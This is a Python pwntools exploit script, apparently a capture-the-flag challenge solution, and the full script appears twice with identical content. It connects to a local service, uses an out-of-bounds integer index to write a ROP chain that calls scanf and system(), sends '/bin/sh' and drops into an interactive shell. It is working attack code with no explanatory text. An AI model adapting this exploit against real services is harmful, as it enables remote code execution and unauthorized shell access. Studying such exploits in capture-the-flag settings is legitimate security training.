<reponame>roytu/challs2
from pwn import *
ppr = 0x80487ba
sysAddr = 0x8048430
scanf = 0x8048460
storage = 0x804999c
strFmtStr = 0x804882f
current = -2147483635



con = remote('localhost',1234)
con.sendline( "kablaa")

print "sending scanf..."
sleep(1)
con.sendline( str(current))
con.sendline(str(scanf))
current = current+1

print "sending ppr..."
sleep(1)
con.sendline( str(current))
con.sendline( str(ppr))
current = current+1

print "sending format string..."
sleep(1)
con.sendline( str(current))
con.sendline( str(strFmtStr))
current = current+1

print "sending storage address..."
sleep(1)
con.sendline( str(current))
con.sendline( str(storage))
current = current+1

print "sending system address.."
sleep(1)
con.sendline( str(current))
con.sendline( str(sysAddr))
current = current+1

print "sending junk return address..."
sleep(1)
con.sendline( str(current))
con.sendline( str(0xdeadbeef))
current = current+1

print "sending addrss of comand..."
sleep(1)
con.sendline( str(current))
con.sendline( str(storage))
current = current+1

print "sending the other values"
sleep(1)
con.sendline( str(2))
con.sendline( str(2))
con.sendline( str(2))
con.sendline( str(2))
con.sendline( str(2))
con.sendline( str(2))
con.sendline("/bin/sh")
con.interactive()


from pwn import *
ppr = 0x80487ba
sysAddr = 0x8048430
scanf = 0x8048460
storage = 0x804999c
strFmtStr = 0x804882f
current = -2147483635



con = remote('localhost',1234)
con.sendline( "kablaa")

print "sending scanf..."
sleep(1)
con.sendline( str(current))
con.sendline(str(scanf))
current = current+1

print "sending ppr..."
sleep(1)
con.sendline( str(current))
con.sendline( str(ppr))
current = current+1

print "sending format string..."
sleep(1)
con.sendline( str(current))
con.sendline( str(strFmtStr))
current = current+1

print "sending storage address..."
sleep(1)
con.sendline( str(current))
con.sendline( str(storage))
current = current+1

print "sending system address.."
sleep(1)
con.sendline( str(current))
con.sendline( str(sysAddr))
current = current+1

print "sending junk return address..."
sleep(1)
con.sendline( str(current))
con.sendline( str(0xdeadbeef))
current = current+1

print "sending addrss of comand..."
sleep(1)
con.sendline( str(current))
con.sendline( str(storage))
current = current+1

print "sending the other values"
sleep(1)
con.sendline( str(2))
con.sendline( str(2))
con.sendline( str(2))
con.sendline( str(2))
con.sendline( str(2))
con.sendline( str(2))
con.sendline("/bin/sh")
con.interactive()